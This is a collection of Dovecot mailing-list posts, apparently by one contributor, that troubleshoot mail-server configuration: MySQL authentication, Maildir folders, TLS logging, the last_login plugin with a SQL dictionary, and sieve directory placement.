Re: 2FA for Dovecot
Kees de Jong wrote on 06/01/2020 12:58: My goal is to protect my mail account with 2FA, which isn't a crazy idea in 2020. Therefore, I would like to know the possibilities of configuring 2FA for Dovecot. Use an authentication backend that supports 2FA, such as oAuth: https://wiki.dovecot.org/PasswordDatabase/oauth2 -- Ciao, luigi / +--[Luigi Rosa]-- \
Re: Dovecot and Letsencrypt certs
Robert Wolf wrote on 13/09/2017 10:26: are you sure? What is the refresh time? Instantly or with some delay? Have you tested what happens if I install new key, but I delay installing correct certificate? Does postfix keep the old key+cert or stop using any cert because the new key is not correct for the current(old) certificate? On my postfix 2.9.6 on debian wheezy 7 and postfix 2.11.3 on debian jessie 8 I have to reload postfix. Postfix can use the same key+cert even if I deleted these files. Two days ago Viktor Dukhovni wrote on Postfix ML: /* If you run certbot often enough to renew well in advance of expiration, reloads of Postfix are unnecessary, and just needlessly interrupt orderly processing of email by the queue manager. Usually the new certificate will be automatically in use within "$max_idle * $max_use" seconds, and typically sooner, because processes either idle out quickly or reach the re-use limit quickly, handling $max_use connections that are exactly $max_idle apart is rather unlikely By default that's 1 seconds or just under 3 hours. */ -- Ciao, luigi / +--[Luigi Rosa]-- \ Statistics: The only science that enables different experts using the same figures to draw different conclusions. --Evan Esar
Re: MySQL issue
If you put the database name in the connect string you can omit it in the query Append at the end of the connect string "dbname=mailserver" and remove "mailserver." from the table name Of course the user you are using must have at least SELECT access to db mailserver Amaechi Janneh wrote on 29/05/2017 22:30: Yes it is. On Mon, May 29, 2017 at 12:28 AM, Luigi Rosa <li...@luigirosa.com <mailto:li...@luigirosa.com>> wrote: Amaechi Janneh wrote on 29/05/2017 02:47: May 28 20:20:32 AmaechiJ dovecot[10516]: auth-worker(10892): Error: sql( a...@example.com <mailto:a...@example.com>,): User query failed: Table 'mailserver.users' doesn't exist Start MySQL command line interface with the same username/password you use in Dovecot and do the same query Dovecot does. "mailserver" is the database name? -- Ciao, luigi / +--[Luigi Rosa]-- \ If you rely only on your eyes, your other senses weaken. --Frank Herbert, "Dune"
Re: MySQL issue
Amaechi Janneh wrote on 29/05/2017 02:47: May 28 20:20:32 AmaechiJ dovecot[10516]: auth-worker(10892): Error: sql( a...@example.com,): User query failed: Table 'mailserver.users' doesn't exist Start MySQL command line interface with the same username/password you use in Dovecot and do the same query Dovecot does. "mailserver" is the database name? -- Ciao, luigi / +--[Luigi Rosa]-- \ Never ascribe to malice that which is caused by greed and ignorance. --Cal Keegan
doveadm feature request: move mailbox between users
A feature request for doveadm: move (or copy) mailboxes between users Something like: doveadm movemailbox -s User1 -d User2 Old/Mail/Box Destin/Ation/Path (the same with copymailbox) Or something like that is already possible? -- Ciao, luigi / +--[Luigi Rosa]-- \ It's not enough that we do our best; sometimes we have to do what's required. --Sir Winston Churchill
Re: Moving Maildir folders
Peter Chiochetti wrote on 17/07/2016 11:01: With Maildir and path separator "." one can have incomplete paths: eg. bpatterson.INBOX.2011 will say that there is 2011 within INBOX within bpatterson -- while it is possible, that both bpatterson and bpatterson.INBOX do not exist! Thunderbird will render the missing folders gray in the UI, you probably cannot subscribe to those, even from the subscribe dialogue. You should be able to create them though. That is correct. If you want to create the "path" Somename/Foo/Bar/Baz (as seen by the IMAP client), even if only Somename and Baz contains messages, you must have the entire "path", that is tour mailbox directory must contain the directories: .Somename .Somename.Foo .Somename.Foo.Bar .Somename.Foo.Bar.Baz Of course each of the directories will contain cur, tmp, new and Dovecot files -- Ciao, luigi / +--[Luigi Rosa]-- \ Britain reveals plans for high-speed rail link that could get people the hell out of Scotland and into the civilized world in less than two hours. --fark.com
Re: Moving Maildir folders
Mark Foley wrote on 16/07/2016 07:43: Our office had a user leave. Another user is taking over her duties and needs reference to the departing user's email. I've copied that entire departed user's Maildir structure to the current user: mv olduser/Maildir/.* curuser/Maildir/.olduser I did change permission and ownership on curuser/Maildir/.olduser to be the target user. I did not bring over the olduser/Maildir/dovecot* files (indexes, subscriptions, etc.) as I thought that would be bad. Maildir has no nested folders. If you want a subtree structure in maildir you must create each folder at the first level in the new user you must have something like: .olduser.INBOX .olduser.Sent .olduser.Trash .olduser.Drafts .olduser.whatever Each directory with tmp, newm cur subdirs only (ad dovecot files, of course) -- Ciao, luigi / +--[Luigi Rosa]-- \ Understanding is a three-edged sword. --Kosh, "Deathwalker"
Re: Logging the TLS cipher suite
Thank you very much! Gedalya wrote on 12/03/2016 06:30: Add %k to login_log_format_elements (in conf.d/10-logging.conf) for example login_log_format_elements = user=<%u> method=%m rip=%r lip=%l mpid=%e %c %k session=<%{session}> On 03/12/2016 12:20 AM, Luigi Rosa wrote: Hi, could it be possible to log the TLS cipher suite as Postfix does? This is a typical TLS Dovecot log line: imap-login: Login: user=<u...@acme.com>, method=DIGEST-MD5, rip=1.2.3.4, lip=4.3.2.1, mpid=19671, TLS, session= This is the Postfix equivalent postfix/smtp[59723]: Anonymous TLS connection established to mail.acmne.com[1.2.3.4]:25: TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits) -- Ciao, luigi / +--[Luigi Rosa]-- \ Natalya Simonova: You destroy every vehicle you get into? James Bond: Standard operating procedure. Boys with toys. --"007 Goldeneye"
Logging the TLS cipher suite
Hi, could it be possible to log the TLS cipher suite as Postfix does? This is a typical TLS Dovecot log line: imap-login: Login: user=<u...@acme.com>, method=DIGEST-MD5, rip=1.2.3.4, lip=4.3.2.1, mpid=19671, TLS, session= This is the Postfix equivalent postfix/smtp[59723]: Anonymous TLS connection established to mail.acmne.com[1.2.3.4]:25: TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits) -- Ciao, luigi / +--[Luigi Rosa]-- \ We're not surrounded, we're in a target-rich environment!
last_login plugin with MySQL
Hi, I have a Dovecot test installation with MySQL userbase and authentication where I am trying to setup last_login plugin with SQL dictionary I read http://wiki2.dovecot.org/Plugins/LastLogin and I addes this to my configuration plugin { last_login_dict = sql:/etc/dovecot/dovecot-sql.conf.ext } mail_plugins = $mail_plugins stats protocol imap { mail_plugins = $mail_plugins imap_stats last_login } When I log in with IMAP I get this error: Error: last_login_dict: dict_init(sql:/etc/dovecot/dovecot-sql.conf.ext) failed: Unknown dict module: sql /etc/dovecot/dovecot-sql.conf.ext is the file taht contains the SQL configuration. If I put mysql instead of sql the result is the same: Error: last_login_dict: dict_init(mysql:/etc/dovecot/dovecot-sql.conf.ext) failed: Unknown dict module: mysql The output of doveconf -n follows. Do you have any idea on how to use MySQL for last_login? Ciao, luigi # 2.2.14: /etc/dovecot/dovecot.conf # OS: Linux 2.6.32-431.29.2.el6.x86_64 x86_64 CentOS release 6.5 (Final) auth_cache_negative_ttl = 0 auth_cache_size = 100 k auth_cache_ttl = 8 hours auth_mechanisms = plain login digest-md5 cram-md5 auth_verbose = yes base_dir = /var/run/dovecot/ listen = 127.0.0.1, 10.19.67.253 login_greeting = Ready. login_trusted_networks = 10.xx.xx.0/24, 2001:::::/64 mail_plugins = stats mailbox_list_index = yes maildir_stat_dirs = yes passdb { args = /etc/dovecot/dovecot-sql.conf.ext driver = sql } plugin { last_login_dict = mysql:/etc/dovecot/dovecot-sql.conf.ext sieve = ~/.dovecot.sieve sieve_dir = ~/sieve stats_refresh = 10s stats_track_cmds = yes } protocols = imap service auth { unix_listener /var/spool/postfix/private/auth { group = postfix mode = 0660 user = postfix } } service imap-login { inet_listener imap { port = 143 } inet_listener imaps { port = 993 ssl = yes } } service managesieve-login { inet_listener sieve { port = 4190 } } service pop3-login { inet_listener pop3 { port = 110 } inet_listener pop3s { port = 995 ssl = yes } } service stats { fifo_listener stats-mail { mode = 0666 } } ssl_cert = /etc/x/xx.luigirosa.com.crt ssl_dh_parameters_length = 2048 ssl_key = /etc/x/x.luigirosa.com.key ssl_parameters_regenerate = 202 hours ssl_protocols = !SSLv2 !SSLv3 syslog_facility = local5 userdb { args = /etc/dovecot/dovecot-sql.conf.ext driver = sql } verbose_proctitle = yes protocol lmtp { mail_plugins = sieve } protocol imap { imap_client_workarounds = tb-extra-mailbox-sep mail_plugins = stats imap_stats last_login } protocol pop3 { pop3_client_workarounds = outlook-no-nuls pop3_uidl_format = %08Xu%08Xv } -- / +--[Luigi Rosa]-- \ Microsoft launches site to help those with H1N1. No help for those with Windows 7 --fark.com
Re: last_login plugin with MySQL
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Luigi Rosa wrote on 18/10/2014 11:29: Hi, I have a Dovecot test installation with MySQL userbase and authentication where I am trying to setup last_login plugin with SQL dictionary I figured out I have to use dovecot-dict-sql.conf.ext instead of dovecot-sql.conf.ext I configured dovecot-dict-sql.conf.ext this way: driver= mysql connect = {the connect string that works for user lookup} map { pattern = last-login table = mailbox username_field = username } And I defined the plugin this way: plugin { last_login_dict = sql:/etc/dovecot/dovecot-dict-sql.conf.ext last_login_key = last-login/%u # default } But I still get the same error: Error: last_login_dict: dict_init(sql:/etc/dovecot/dovecot-dict-sql.conf.ext) failed: Unknown dict module: sql Ciao, luigi - -- / +--[Luigi Rosa]-- \ Every program has (at least) two purposes: the one for which it was written and another for which it wasn't. -BEGIN PGP SIGNATURE- Version: GnuPG v1 iQIcBAEBAgAGBQJUQmwfAAoJEO5WT/qgw4yKgV0P/iGjH7Tcy/tfCf9fVjECO187 fa07fBXwG+BR9CqDejmNeT0qGC8Vx3YebWl3Sc61N8z6CMXzwQUo4gAsLnw3bW/3 VTioxcZKULbE8bNE8goN/yrNur1N4yMcrQTSb+Lno4D5adXfWdXC2j8nwRrAnjXf om4XvWP+S/PX7oblqymNCHWtJhmOwPkCPKqKqpXxdZ4SXQHCb+96NI4Mkbp1WVEr 1npH8+p1ut8s1wjwGo56tE+EplJKNp4oMhQch4nHQp6uWnAH3IF6P8T23iLnog7p wuG0e2Mo1vDoMWaf7J+6lIUB45OizgA1qAHho5jpASCGQE5D/XqolRzTTvJJ2Ykh Jgll8Gc+/JqMeHX5XlsUsVdPGEFIvwTGyKjZB90qA5UPOJf6hgRQbcVam3iUDBRW v+KRrtPuTeExDj9nfxL1QZAwoFW6QY+mUNvS+jgb1vGmQlCK12lUgBzVPi1d72sN boHmpmGfLnl97cg+FjrAtU8N0aBeoOkIqECmLSmnQwdwz+PkoyrgKvAVt4IgI0aX WVNBSy1cir+/I2c9EY+FTYyRczSaRglTMBwLMM1O910NMRvsZmqniTCvfBnhv4Xv 95GhLhisAp/TBUSD8Jnk+K76Un/xfNSAex1t6NeyVdEKSOiqVlSMYo8o5wHBzaXV A6ztvItzmTnfOux5C03q =6gvz -END PGP SIGNATURE-
Re: last_login plugin with MySQL
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Gedalya wrote on 18/10/2014 16:10: I guess you have to use the proxy. So maybe something like plugin { last_login_dict = proxy::lastlogin } dict { lastlogin = mysql:/etc/dovecot/dovecot-dict-sql.conf.ext } I'll try it later myself, thanks for taking it thus far :-) I've been meaning to try this out but was rather perplexed. I made some progress thank to your suggestions. dovecot-dict-sql.conf.ext content is: map { pattern = /shared/last-login/$user table = mailbox username_field = username value_field = lastlogin fields { username = $user } } Note that you must not specify driver parameter Plugin is defined this way: plugin { last_login_dict = proxy::lastlogin last_login_key = last-login/%u # default } dict { lastlogin = mysql:/etc/dovecot/dovecot-dict-sql.conf.ext mode = 0660 user = 501 } But I get two errors. First is the permission of /var/run/dovecot/dict that is 700 root.root and I get a permission error. Nothing changes if I put user = root. I have to manually chmod /var/run/dovecot/dict every time I restart Dovecot otherwise I get Error: net_connect_unix(/var/run/dovecot//dict) failed: Permission denied (euid=501(mailvirtuale) egid=501(mailvirtuale) missing +r perm: /var/run/dovecot//dict, dir owned by 0:0 mode=0755) If I chmod 777 /var/run/dovecot/dict the error disappears but I get this: dovecot: imap-login: Login: user=username, method=PLAIN, rip=127.0.0.1, lip=127.0.0.1, mpid=497913, secured, session=6R0mYbMFFwB/AAAB dovecot: dict: Error: sql dict set: Invalid/unmapped key: shared/last-login/username Ciao, luigi - -- / +--[Luigi Rosa]-- \ Don't tell me what you dreamed last night for I've been reading Freud. -BEGIN PGP SIGNATURE- Version: GnuPG v1 iQIcBAEBAgAGBQJUQnsNAAoJEO5WT/qgw4yKPgsP/i3PvHmaHZ3FTyDkXczenVm+ 12dA5MHQ7p26Xai7C3hJeLn/mteZUqc7aEM839nB6vFo+nPBJYjPgVB7k24eSq4T ZV/F3RZV+I4f1oTvzxH8gKvFnXEEbGSXsM7/U+anSdbNVMEPfpZDxgf/DKJfCk61 NBJN+n9bqQ4ZhaN6UD9AGh5w3Oyh4GK40D7Xv6NVca+psMjuT17TKgZ1JaMg7Ir0 QV4f3wmCWfMFGIpxUvUca7UTENYWHkdfLqsWjDU8+tLM7meuJ3PKMasuOKTNMglY 8PyszRGPCBfPvoQluC0K7uXqlEMLpXEmdz354chilXYX4T7zUh+9IHV4MSg1SSQX B7HMrTOU5TY7HfqzHOtLrb4CVtj6thzl9Ixh7Qa13LDbjzqSI5Pe78nVcmfVqp8I Wqovm+XWqm6nUoNFh850iw57t15D6Pg+vZT/qJBT8o++lcA+ssriNsFHw8/nFqSV qe7Oxifhrn7j4KRdBlK8gKiydhxFT//bIdlS2bOwPi+nnkcnT7xT46L1WZVfhQez hYTxAK9ETKonT4O2IKSSn92fxqEobZu99Kom5sRm4uLsvQxdOwjKPJn0Bx00XCW1 vCp1/gmFYkLPAtB/hQ0U32WpL1x/GMKRd6BZXsHQMDgVkf4dVQqB23oUiugl/whE U5s4Dr/5WbmNITXOd0/W =LFZi -END PGP SIGNATURE-
Re: last_login plugin with MySQL
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Gedalya wrote on 18/10/2014 16:48: service dict { unix_listener dict { mode = 0660 user = vmail #group = } } That solved the permission issue, thanks! Ciao, luigi - -- / +--[Luigi Rosa]-- \ Only one human captain has ever survived battle with a Minbari fleet. He is behind me. You are in front of me. If you value your lives, be somewhere else. --Delenn Severed Dreams -BEGIN PGP SIGNATURE- Version: GnuPG v1 iQIcBAEBAgAGBQJUQovyAAoJEO5WT/qgw4yKpzYP/i6WHK/4QkNPAgKX2o5fP+j8 qQKzmm8XXANd8qWDkMxlb0xyAqrNJsDAm1CKq5xI+r3QN+f8HcDqNzsDN7m0cqUf jyqJ+KDpbDnXbMU8DZHkK8vuKl+b5QpL5pSmrxYfAEfoJkrjIzGJ14EopbZ+dtXg 6xTY6RuQOF8XMNV1fy2k2TlCjD6rIE0YyanBB5BJvhKhAsZ3egwbhAoqvPPJi9CR 8s0zErdeiT+3MJKsGgmaTfrIa9yg3ADFLqgAQfS3OryRjVD7EThDSsh/uyLMSUWX 50Nv4+ItnszbCCVRfu8Al6IcGvGhnxgvMpibFJUomdrYkwIv9gnHe+vL8+HCAuTl 0ZMaWEYCDtf+4PLY3nznAe7/1QqF4C59vSGkYxp9jtFEvSZ2DIBny0fuzRFBS4Jl b5kdtsCCtknk25lXQzhPg/FE9q5Aj4Zo183/s8unoFKKxHq/Rwr2df1dpQw9ITDA FFcAMvkyRvTxGeldKpADTcm5bMOLZlKPmmf+UKViZFysXKgcm3SLVR+RpFkajQ4v l1BlpZ2wW2vjhYcfj9JZmd/+uEturA8vG6vbha2w4GP4zTwrKdZjEHiTvi4/nkMY LxogXNhBMCTCwiYkPZINb05Eagg++zcmaCbZM31tb2m3dHrnvtmuCZKGfKA4DTMZ NP/UCGkRQd96zRCTY8Ii =J7GG -END PGP SIGNATURE-
Re: last_login plugin with MySQL
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Gedalya wrote on 18/10/2014 17:36: The code looks at shared/$last_login_key, so shared/last-login/username, but your map says /shared/last-login/$user, note the leading slash! That's probably all it is. BINGO! Now that we killed the mosters of this level, let's move to the next level. Welcome to the SQL query level! I was expecting an UPDATE...WHERE but I got this: INSERT INTO mailbox (lastlogin,username) VALUES ('1413647370','username') ON DUPLICATE KEY UPDATE lastlogin='1413647370' This is not very useful if I want a `lastlogin` field of the `mailbox` table updated on every login. Ciao, luigi - -- / +--[Luigi Rosa]-- \ For every human problem, there is a neat, simple solution; and it is always wrong. -BEGIN PGP SIGNATURE- Version: GnuPG v1 iQIcBAEBAgAGBQJUQozoAAoJEO5WT/qgw4yKXd0P/iGtE9bm3U3gUNqoOP8cI0Yi 2xU66Nk64jogcPyRXberWiaeXbytaJj15DAVwbQT08Iv53flOMbkNwn2LyfX2Yqi DThdCaH60ADTkBsU2NUepglv3mGisuZ/T8euKo6OdDBowZ1t0u8EW1J41DP/4K6M SWLDPcTkLGgcfJMCEvwP2JeWx6j0RCR2/e/mSe0Fvq9qUNYTbqHiDTLSh6bO/OPp 0vxj0LVb/xWIUlNS0pEbhFlSXaU5yNORyIacg0KMWEPB0d0qwGP6kusxi2l+huF/ VfbebBpj9qns8XJppxKTEpTKW7H3BoiM3vegLl7JNOwSKXa9xiNMhILkxcpgkRBi idu8w+p7KXWrOWqDQ3giFhFrtMuhYNGryVvetD168426+AVkVM8/Zb7dETajgzH3 75XLlc4fMhyW6aRV5vGDllY6MzyDrEFsO3vtCE7NKZq7WmImnlwKsbm3NbEYFWsn fEmOM9Hjc/DkRTTiejA31DztczrFd/f/kXXFSuPs25Dco6WVkojofpT4c8xhyS83 OTYBJY1gBfxSHn9zj3auTKYdxhOpzzopRn0uUT1M9iGYfy71ZJuL97dw1gOfkfOL /RbBQwut9RJJWRYlYhIHKc9cvnB21pO76OLHkPHmslNUBX67q4fS3gUuhMbAroq2 37gmW6grIMIvY6s4XgMJ =vXUT -END PGP SIGNATURE-
Re: last_login plugin with MySQL
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Sven Hartge wrote on 18/10/2014 18:07: This SQL query looks correct to me. It INSERTs a new row for a username if one does not already exist but UPDATEs it if there is already such a row. My fault: I didn't know this SQL syntax. In fact the field has been correctly updated. Thank you Sven! Ciao, luigi - -- / +--[Luigi Rosa]-- \ Every government is a parliament of whores. The trouble is, in a democracy, the whores are us. --P. J. O'Rourke -BEGIN PGP SIGNATURE- Version: GnuPG v1 iQIcBAEBAgAGBQJUQpJBAAoJEO5WT/qgw4yKryAP/2237FGyMYw3tEq2HdN2JYDE QCxBRyUAVQSnIvJZwPhJxlFd2O3nkIrDEirpXUh4W5AhDSrTt517tiykCbQZzWz8 XN6t52PbAR4MdcdJu69c7fIzm1LfhCquPAJz+MLOOvBPXwzP2fOEL8tWWpKHAQeI uTktIzHGYEaHgX3V+LQ6TTCtofhi7oved5AaFiLYr42pYJSjKTlLvYa3Ycx3n8iz kF1QuHpIaOqO55CIzrc7LYgNAUhC5SKpxLlGcjYgHvE/q6Cet2CIIE5DWF/UCn7I PHcpLeEQS2YavfCWtKhAyb5qobP4zQFKG5lb09+BLIugZX/P4w1KYVBaNxfaDYRe X5hnat0GcMS7NQIvVLXlqVp/GLoG/AIynu+bfSZtpL00MznI5j6N+BvJZ4ygTTvL huIinr/6WaQvF7Gn+J6f741LqNDbRjajDgKlET3wVF25QfhVP/KNnNoSuZZ7LHnF b7ToIBtXBebGmrPX9GQuorYXTNTgZa6XrPACk/+y4YWp8lWxkWHoW3SUwqm79JS8 bKf3+xj6YPaFREVBbuzDkueaLrncFsWUuthxIO3JX5taOicplZf9GrDE6fRyF5Ew pdtGmxoFhhxV1SNPAZB6G5YciJrrMdaKYcHHxxQnKbTBVEHw4A98AcyGZHKCOwsP Wuq4sDEISdOxrk0Gp39T =hgL9 -END PGP SIGNATURE-
Recap: last_login plugin with MySQL
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 With many thanks to Gedalya and Sven Hartge Situation: Dovecot installation with userbase in a MySQL table with the same structure described in Postfix.Admin installation; filesystem permission is flat with a single user (vmail) who owns maildir mailbox files and directories. Procedure to implement last-login plugin to update mailbox table. The lastlogin value is an integer in time() format Alter mailbox SQL table to add a `lastlogin` unsigned int field Add this to 10-master.conf service dict { unix_listener dict { mode = 0660 user = vmail } } In 90-plugin.conf add this: plugin { last_login_dict = proxy::lastlogin last_login_key = last-login/%u # default } dict { lastlogin = mysql:/etc/dovecot/dovecot-dict-sql.conf.ext } Enable last login for IMAP and POP3: protocol imap { mail_plugins = $mail_plugins last_login } protocol pop3 { mail_plugins = $mail_plugins last_login } Finally edit dovecot-dict-sql.conf.ext and add this lines: connect = {same values as dovecot-sql.conf.ext} map { pattern = shared/last-login/$user table = mailbox username_field = username value_field = lastlogin fields { username = $user } } Ciao, luigi - -- / +--[Luigi Rosa]-- \ After things have gone from bad to worse, the cycle will repeat itself. -BEGIN PGP SIGNATURE- Version: GnuPG v1 iQIcBAEBAgAGBQJUQp/PAAoJEO5WT/qgw4yKLscP/1ysmNOP23fQeqN2I7gxfhKp 4TF0Buf0rxKjxzjE5jcw4T/vDKhdjj2uaYtpUkE188l+tmGdeQ55ENyXEml/Svvw eEs9Kc2UJTlSQpQFpspUezvOtPwgb0L3720rCqs61BshGFgpZsiUEpPW8mHeVoo1 j5zmo9TVdrSPr8XqLzoR+fdIamZRzZH2pLA9x9cgzsVMmqSlMm4Xv3f/JMloNs98 fwWo13Ji5uFCRbbMmNUDCDOpd4wPYZ7ASS64Jf9nR4DZ75fnQmRgvsbl3EWicrqT 94Z4hlSEkOYWxDzooFta37+Sp61IjQWkWFiM+0260Q5u8IArpatW+tT2eD3jzaxP Gu0HB8jg+bT9cXXtfo1HyA+JYswEtwKiUvUKa/09j6oDGgBD2KR1yhDJNsZsJXkB bEKsACdSztEvfe9j91AzW8S/W3Uk5c7l9RH1CXVNTCbQXaeagScAguh94KKP0oiW P43mBkuFg2mM+5+bXz0U8EYfswt/zYkp/pKFajEwyXIWdeUICPmFJA+GKpBXeJPn CL8nJCnUpKNsy85+Z6MXYXIv6a0D0utocdsQzR8gjG2whNnv7EFeHa2hyagKfG5g ydOSG6tKlWHCOSFaTogmUVZVXEGsE1gUmJZMeoyZVI5jEl3b3KJSTxB7QHtMsm5q NOyZ+PdNJtyDC8n4T48t =MJj6 -END PGP SIGNATURE-
LastLogin
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Timo Sirainen wrote on 14/10/2014 18:53: + Added last-login plugin to set user's last-login timestamp on login. According to http://wiki2.dovecot.org/Plugins/LastLogin the plugin uses redis, but can use other dictionaries If I have MySQL as userbase backend what field(s) should be created to have this information recordered in the database? Ciao, luigi - -- / +--[Luigi Rosa]-- \ Afternoon: that part of the day we spend worrying about how we wasted the morning. -BEGIN PGP SIGNATURE- Version: GnuPG v1 iQIcBAEBAgAGBQJUP285AAoJEO5WT/qgw4yKPngQAKYkmLQuVf3/ViWfWOkwah52 vYv6uXYcWWRa76NNIVGLw4I9LMWv1Nw0DWNAJotPkHBggbBzkc396Etb+6qrj0uT zNz/uHfsv4CJquxRFyGtGal+j9ZeG2T60PtZXkh+sHAnShSmbvsr+RzLgJOzfYVh o5RAW//bLiRdyVun32ZRwHLwueI14ppQxnAQOMuvTZNUxYg3nxUnkOObx2/5pGmq bv61gg+AFK74/QoMZrK9UdS3Pg7gQU8PXd2j4tv08iuJ4MjBlHx14aye0hdc1T6p 1VlM8kd/nh62B7hQEBPxRB0G2jVA/LM58ENO7MmbsX3E5+p1hgg++aw7prmsZvw8 mpM5MazHzj78jdclNVa94TqOnXOJ/3D5+0bEAILu20QchjP4aFcmAHf3xZW6lA1t ZcCYb2n/UOEL2+9vaR8ngAqpi/14mmgQQL1r9rqNDqx8uZGzfRq1LKD2RyQ+Vt0e ui7eMnL4dNMhpW+IU3eGH8+/V7gf2Aj5MRFDZ8r+nzi6PdjSRBwRz5/arrc87r2P XmYebH6bRYMpVYHoWk76HrOkOSrYmYYRYijqfMivLoF1Fa25XDu4wqN55D+VZgEa 5Ad8/BSvhV0Yhg9yVoqXGREbxPLlQAQ8RA2fMhm5I1pqr3YYxoh5ayFiAGPBhnD1 aBFenPPnc6DnN+luxFWj =5H+W -END PGP SIGNATURE-
Re: [Dovecot] sieve mailbox in IMAP mailboxes
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Gedalya said the following on 26/03/2014 18:00: On 03/26/2014 12:46 PM, Luigi Rosa wrote: mail_location = maildir:/var/spool/mail/%u/ You didn't include your SQL files, so I don't now if you return userdb fields there, but anyway, you seem to have the home directory and mail_location set to the same place. You need to have home set to e.g. maildir:/var/spool/mail/%u/ and mail_location set to maildir:/var/spool/mail/%u/Maildir, a subdirectory of home, or just set the home directory to a different place altogether. Very important: the maildir directory should contain maildir files ONLY. The home directory is for everything else, such as sieve. That was the problem, thank you for your help. I modified the SQL query to return a different path for the home directory and moved the sieve directories into the new path Ciao, luigi - -- / +--[Luigi Rosa]-- \ Sometimes, when your cat is washing himself, he will stop and stare at you as if he just remembered something. -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.14 (GNU/Linux) Comment: Using GnuPG with Thunderbird - http://www.enigmail.net/ iQIcBAEBAgAGBQJTOYXVAAoJEO5WT/qgw4yKP5AQAJghYHsw6hgcO5Wh6jFN2b3J N3OYvBggLBQWIJSyq4d+lcWJQWyGie8bUYKLOjt4AhxSsVkT002nWVw+d6fKRTDX qppW45UHUzBpve3twPd+B4N+7XNfhnF6yyLaCY12P5yVKWms8CYWfnqU3ir9wRAT toJlEoW2nWf6Md+LHyN6e8fPHRI9PQChkwVGqmsCLjx47IY2loiO4dm1II6Q67kH z0cXyG3DuvjkJR2lRMGF+/5xA9Yg4+pF3zEVa8HIakCBmVXJMEQlDUiat+Q5H4HI xUL6dPQO0xQPcPKeWf4qMYUOQ3iXG3JyhpP5TSUkYo+xBifJsvlFgemiBb2BeOGd Gwx+3VqFBHJEZ5ESeyk7suLpEWB5liOsDNJEPusYPw9kye4WghYErT7X1LBi6DMw usAGxs8uIySOW38k+Kq8g7bCIGkmsQcmEw6fSoKnaxgiloPAogE71T73IirekDhB opTcaCvDyAeD247wDhmHg+4vQpU0hKNUuw7XwsUBzvVaBl8wjE+X7sFLtwDxflsR YJa1j6/dnyTZ614nK1f+gZIhwIAw3tejO6HOcrLbTYsFpWUFPvtM7wYGokIEtQos WpqbUL1rirtYlcuAY3zVgDJuxi3jaDt5SMvqvGORXvzfpu+186yBVZoDupMKKtlB v5rD7x85nLRvugR2N+Fj =3kyx -END PGP SIGNATURE-
[Dovecot] sieve mailbox in IMAP mailboxes
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 I have installed latest pigeonhole-sieve Everything works as expected but in IMAP folders I have a dovecot folder with a sieve subfolder Mail storage is maildir. I remember a setting that tells dovecot to ignore directories and do not display them as IMAP folders, but I acannot find it. Any hints? # 2.2.10: /etc/dovecot/dovecot.conf # OS: Linux 2.6.32-431.5.1.el6.centos.plus.i686 i686 CentOS release 6.5 (Final) ext4 auth_cache_negative_ttl = 0 auth_cache_size = 1 M auth_cache_ttl = 5 hours auth_failure_delay = 3 secs auth_mechanisms = plain login digest-md5 cram-md5 base_dir = /var/run/dovecot/ disable_plaintext_auth = no lda_mailbox_autocreate = yes lda_mailbox_autosubscribe = yes login_greeting = Ready. mail_location = maildir:/var/spool/mail/%u/ mailbox_list_index = yes managesieve_notify_capability = mailto managesieve_sieve_capability = fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variables body enotify environment mailbox date ihave namespace inbox { inbox = yes location = mailbox Bozze { special_use = \Drafts } mailbox Drafts { special_use = \Drafts } mailbox Junk { special_use = \Junk } mailbox Posta eliminata { special_use = \Trash } mailbox Posta inviata { special_use = \Sent } mailbox Sent { special_use = \Sent } mailbox Sent Messages { special_use = \Sent } mailbox Trash { special_use = \Trash } prefix = } passdb { args = /etc/dovecot/dovecot-sql.conf.ext driver = sql } plugin { sieve = ~/.dovecot.sieve sieve_dir = ~/sieve } postmaster_address = logwa...@meti.it protocols = imap pop3 lmtp sieve service auth { unix_listener /var/spool/postfix/private/auth { group = postfix mode = 0660 user = postfix } } service imap-login { inet_listener imap { port = 143 } inet_listener imaps { port = 993 ssl = yes } } service lmtp { unix_listener /var/spool/postfix/private/dovecot-lmtp { group = postfix mode = 0660 user = postfix } } service pop3-login { inet_listener pop3 { port = 110 } inet_listener pop3s { port = 995 ssl = yes } } ssl_cert = /etc/dovecot/certs/dovecot.pem ssl_key = /etc/dovecot/private/dovecot.pem syslog_facility = local5 userdb { args = /etc/dovecot/dovecot-sql.conf.ext driver = sql } verbose_proctitle = yes protocol lmtp { mail_plugins = sieve } protocol imap { imap_client_workarounds = tb-extra-mailbox-sep delay-newmail imap_idle_notify_interval = 2 mins imap_logout_format = bytes=%i/%o mail_max_userip_connections = 20 } protocol pop3 { mail_max_userip_connections = 3 pop3_client_workarounds = oe-ns-eoh outlook-no-nuls pop3_logout_format = top=%t/%p, retr=%r/%b, del=%d/%m, size=%s pop3_uidl_format = %08Xu%08Xv } Ciao, luigi - -- / +--[Luigi Rosa]-- \ Everyone lies, Michael. The innocent lie because they don't want to be blamed for something they didn't do. The guilty lie because they have no other choice. --Jeffrey Sinclair, And the Sky Full of Stars -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.14 (GNU/Linux) Comment: Using GnuPG with Thunderbird - http://www.enigmail.net/ iQIcBAEBAgAGBQJTMwRTAAoJEO5WT/qgw4yKqmEP/AwHAF5MvG9nXbK7s6G4q4xf 0XG8fVef6CcWLnL+VWdFXxpL8aINmYlMJxlKp7wq1jVRGhnhdVJWM/zp5V/aZ3ql J/QR5LRuBJaJDdzHFP+Mlmf8mnl1iczc0bWRQpbJ+uiQJbd4RiPH4TM+RtJor5E3 3Wa2JOXpbJUEHtVaCpu5dSv26YaLtj3seRXQ3jgMruePOpab6qJSDt7BAaBSwTS/ IMlMXe0oRULTVIYX+Rf+n2sp/8a3XlBO3MU325JOaW3zLEsEQ89EE0/QUnMb6Rnf 